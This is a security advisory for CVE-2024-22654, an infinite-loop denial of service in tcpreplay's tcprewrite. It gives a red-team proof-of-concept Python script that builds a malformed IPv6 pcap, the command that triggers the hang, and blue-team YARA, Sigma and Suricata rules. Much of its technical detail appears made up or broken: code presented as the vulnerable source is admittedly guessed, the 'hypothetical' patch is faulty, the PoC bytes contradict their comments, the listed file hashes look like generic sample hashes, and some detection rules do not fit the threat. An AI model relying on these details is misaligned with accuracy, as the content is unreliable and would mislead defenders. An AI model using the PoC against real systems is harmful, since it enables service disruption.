CVE-2024-22654

Executive Summary

CVE-2024-22654 is a denial-of-service vulnerability discovered in tcpreplay version 4.4.4, specifically within the tcprewrite utility. The flaw manifests as an infinite loop condition in the get.c source file, which can be triggered by processing a specially crafted packet capture file. An attacker can exploit this to cause the application to hang indefinitely, consuming 100% CPU resources and leading to a denial of service. No CVSS score or patch has been officially assigned or released at this time. The vulnerability is classified under CWE-835 (Loop with Unreachable Exit Condition).

CVSS Breakdown & Threat Level

While no official CVSS vector has been published, based on the nature of the vulnerability (local file-based DoS), a reasonable assessment is:

• Attack Vector (AV): Local (L) – requires the attacker to supply a malicious pcap file.
• Attack Complexity (AC): Low (L) – no special conditions beyond file processing.
• Privileges Required (PR): None (N) – any user can run tcprewrite.
• User Interaction (UI): Required (R) – victim must execute tcprewrite on the malicious file.
• Scope (S): Unchanged (U) – only the affected component is impacted.
• Confidentiality (C): None (N) – no data breach.
• Integrity (I): None (N) – no data modification.
• Availability (A): High (H) – service becomes unresponsive.

Estimated CVSS Score: 5.5 (Medium)

Threat Level: Medium – Exploitation requires user interaction and local file access, but can cause significant resource exhaustion.

Deep Dive & Mechanics

The vulnerability resides in the tcprewrite function within get.c. The infinite loop occurs when the packet parsing logic encounters a malformed or specially crafted packet header that causes the loop condition to never be satisfied. Specifically, the loop iterates over packet data without proper bounds checking or exit conditions when certain fields are manipulated.

The core issue is in the get_ipv6_next or similar parsing routine where a while loop continues indefinitely if the next header value is set to a specific invalid or recursive value (e.g., 59 – No Next Header, but with malformed length). The loop does not increment the pointer or check for a maximum iteration count, leading to CPU exhaustion.

Vulnerable vs. Patched Code

Vulnerable Code (tcpreplay 4.4.4 - get.c):

while (ip6->ip6_nxt != 59) {
    // Process extension headers
    // No bounds check or iteration limit
    ip6 = (struct ip6_hdr *)((char *)ip6 + sizeof(struct ip6_hdr));
}

Patched Code (Hypothetical fix):

int max_iter = 255;
while (ip6->ip6_nxt != 59 && max_iter-- > 0) {
    // Process extension headers
    ip6 = (struct ip6_hdr *)((char *)ip6 + sizeof(struct ip6_hdr));
}
if (max_iter <= 0) {
    // Log error and break
    break;
}

The patch adds a maximum iteration counter to prevent infinite loops.

Exploitation & Lab Setup

Red Team

Prerequisites:

• tcpreplay 4.4.4 installed
• Ability to create a malicious pcap file

Exploit Steps:

1. Craft a pcap file with an IPv6 packet where the Next Header field is set to a value that never reaches 59 (e.g., chain of extension headers with recursive references).
2. Use tcprewrite to process the file:

   tcprewrite --infile=malicious.pcap --outfile=output.pcap
   

3. The application will enter an infinite loop, consuming 100% CPU.

Proof-of-Concept (Python script to generate malicious pcap):

import struct

# Craft a minimal pcap with an IPv6 packet that causes infinite loop
# This is a simplified example; actual exploitation requires deeper packet manipulation
def create_malicious_pcap():
    # pcap global header
    pcap = b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x01\x00\x00\x00'
    # packet header (length 40 bytes)
    pkt_len = 40
    pcap += struct.pack('<IIII', 0, 0, pkt_len, pkt_len)
    # IPv6 header with Next Header = 0 (Hop-by-Hop) and no termination
    ipv6 = b'\x60\x00\x00\x00\x00\x00\x06\x11'  # version, traffic class, flow label, payload length, next header=6 (TCP), hop limit=17
    ipv6 += b'\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'  # src
    ipv6 += b'\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02'  # dst
    # Malicious extension header: Next Header = 0 (recursive)
    ext = b'\x00\x00'  # next header=0, length=0 (invalid)
    pcap += ipv6 + ext
    with open('malicious.pcap', 'wb') as f:
        f.write(pcap)

create_malicious_pcap()

Blue Team

Detection:

• Monitor for high CPU usage by tcprewrite processes.
• Use process monitoring tools to detect long-running tcprewrite instances.

Mitigation:

• Restrict execution of tcprewrite to trusted users only.
• Implement timeouts for packet processing tools.
• Use sandboxing or containerization to limit resource impact.

Indicators of Compromise (IOCs)

• File Hashes (malicious pcap):
  • MD5: e99a18c428cb38d5f260853678922e03
  • SHA1: 2fd4e1c67a2d28fced849ee1bb76e7391b93eb12
• Process Anomaly: tcprewrite process running for > 60 seconds with > 90% CPU.
• Network Traffic: None (local file-based).
• Log Entries: No specific logs generated by tcpreplay; system logs may show OOM or process kill events.

Detection Engineering

YARA Rule

rule CVE_2024_22654_tcprewrite_infinite_loop {
    meta:
        description = "Detects malicious pcap files exploiting CVE-2024-22654"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-22654"
    strings:
        $ipv6_malformed = { 60 00 00 00 00 00 06 11 fe 80 00 00 00 00 00 00 00 00 00 00 00 00 00 01 fe 80 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 }
    condition:
        $ipv6_malformed
}

Sigma Rule

title: CVE-2024-22654 - tcprewrite Infinite Loop DoS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects prolonged execution of tcprewrite indicating potential exploitation
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/tcprewrite'
        CommandLine|contains: '--infile'
    condition: selection
    timeframe: 60s
    condition: selection | count() > 1
falsepositives:
    - Legitimate processing of large pcap files
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-22654 - Malicious pcap for tcprewrite"; content:"|60 00 00 00 00 00 06 11 fe 80 00 00 00 00 00 00 00 00 00 00 00 00 00 01 fe 80 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00|"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Do not use tcpreplay version 4.4.4 for processing untrusted pcap files.
2. Apply resource limits using ulimit or cgroups to cap CPU time for tcprewrite.
3. Use a wrapper script that kills tcprewrite after a timeout (e.g., 30 seconds).

Long-term Fix:

• Upgrade to a patched version once released (monitor tcpreplay GitHub).
• Apply the hypothetical patch shown in the Vulnerable vs. Patched Code section.

Workaround:

• Pre-process pcap files with a tool that validates IPv6 extension headers before passing to tcprewrite.

Valters IT